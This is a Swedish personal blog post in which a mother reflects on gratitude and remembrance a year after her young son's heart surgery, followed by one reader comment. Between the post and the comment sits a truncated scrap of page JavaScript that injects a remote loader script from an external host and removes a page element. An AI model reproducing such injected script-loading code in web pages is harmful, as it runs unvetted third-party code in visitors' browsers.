Att minnas och uppskatta

Livet springer ifrån mig lite känner jag. Livet har fått vardag med morgon och kvällsbestyr, inrutade vardagar och efterlängtade helger. Inplanerad semester och schemalagda läkarbesök. Vi har en liten, stor, kille på snart 20 månader och om 10 veckor så anländer hans lillebror. Livet går lite för fort fram. Så fort att jag ibland tvingar mig själv att stanna upp och reflektera. Jag blir nästan lite rädd ibland över hur fort man vänjer sig vid en ny livssituation och hur fort det går att börja ta allt för givet igen.

Det var inte alls längesedan vi bodde på sjukhuset, då ena dagen var bra och nästa dålig, då livet en dag svajade på den sköraste tråden men nästa var stabil. Det var inte alls längesedan livet var som en enda berg och dalbana och vi slets mellan hopp och förtvivlan. Det är viktigt att kunna gå vidare, att tillåta livet att fortsätta levas, att uppskatta nuet och det man har. Men för mig känns det lika viktigt att påminna mig själv, att låta mig själv minnas den tiden som var som allra jobbigast, den tiden som gjort att vi hamnat där vi är idag.

Det är så lätt att tjafsa om vem som ska gå upp 05.00 när lilleman vaknar, lätt att bli irriterad över en sömnlös natt pga tänder som är på väg. Det är lätt att tröttna på tjatet om -vad ska vi äta idag, vem ska handla, tanka bilen, hänga tvätt, dammsuga? Alla måsten och vardagssysslor hopar sig lätt till en hög av irritation och suckar. För ett år sedan låg vi sömnlösa för vi var rädda att Noel skulle sluta andas, vi längtade efter att få vara ”som alla andra” och handla i mataffären, laga middag tillsammans, städa hemma hos oss själva och bara vara en familj. Man glömmer lätt då vardagen tar över, en vardag som vi suktade så länge efter men tycktes vara så långt borta. Jag påminner mig själv vart vi varit, för då uppskattar jag det vi har idag betydligt mer. Jag vill inte glömma, förtränga eller sluta tänka på hur vi haft, det är på något sätt det som format hur vi är som familj idag. Vi tar en dag i taget, planerar lite grann men försöker njuta i största mån det går.

Jag vill inte ta något för givet. Jag tar fortfarande inte livet för givet, andetagen, de små stunderna av total glädje och kärlek som familj. Jag vet hur snabbt det kan vända, så istället försöker jag njuta så mycket jag bara kan. Men visst glömmer jag ibland, blir irriterad över ”småsaker” i vardagen, visserligen har det sin charm, men om jag påminner mig själv om vad som är viktigast i livet så gör det mig inget att disken blir stående till dagen efter.

Det är fantastiskt egentligen hur långt vi kommit, vilken resa vi gjort och hur mycket Noel utvecklats det senaste året. För ett år sedan (maj) så kunde han inte andas själv alls, levde tack vare cpap och oändligt mycket syrgas, fick mat endast via sin knapp och orkade inte leka alls. Ett år senare så har han syrgas endast när han sover, han äter 5 mål om dagen själv (oftast) och leker oavbrutet, nu måste han istället underhållas alla vakna timmar och energin tycks aldrig ta slut. Idag kan han sitta själv, stå med stöd, plocka med leksaker, ha ner klossar och skratta när vi busar med honom. Livet ser helt annorlunda ut och så även vår vardag. För det är jag oändligt tacksam, för varje andetag som Noel kan ta utan hjälp. Och att minnas tiden då livet hängde på en skör tråd gör att jag uppskattar livet idag så mycket mer. Jag är stolt över Noel och stolt över oss föräldrar, jag är stolt över Ted och över hur alla nära och kära hanterat hela situationen. Och även om jag ibland är ledsen över vissa saker och sörjer en del saker i livet så är vi lyckliga idag, trygga i vår familj och redo för framtiden. Vi vågar se framåt och vi vågar även minnas.

30 maj i år fyllde jag år och vi firade med familj och vänner. Samma dag för 1 år sedan så satt vi på ett tåg på väg ner mot Lund och Noel flögs ner med hjälp av PETS teamet från ALB. 31 maj förra året så fick Noel sitt hela hjärta. Om man inte hade kunnat operera och laga hans hjärta så hade han inte funnits här idag. Den bittra sanningen är den. Utan sitt hela hjärta hade vi inte varit en hel familj idag. För detta är jag verkligen evigt tacksam. Det var den finaste presenten vi någonsin kunnat få, den bästa födelsedagspresenten. Så i år när jag fyllde så firade vi även att Noel haft sitt hela hjärta i 1 år. Livet lever vidare, men vi slutar aldrig minnas, kanske på gott och ont, men för oss så är det nyttigt att minnas det som varit, det får oss att uppskatta det vi har, och att inte ta saker för givet. Noel är den vackraste gåvan vi kunnat få, vårt lilla mirakel, men en människa med ett eget liv som vi verkligen inte tar för givet!

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

blogstats trackingpixel

En reaktion på “Att minnas och uppskatta

  1. Otroligt kloka och fina ord!
    Jag ska hädanefter också sluta ta saker för givet, eller rättare sagt försöka uppskatta det jag har ännu mer än jag redan gör.

    Kram

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *

Följande HTML-taggar och attribut är tillåtna: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>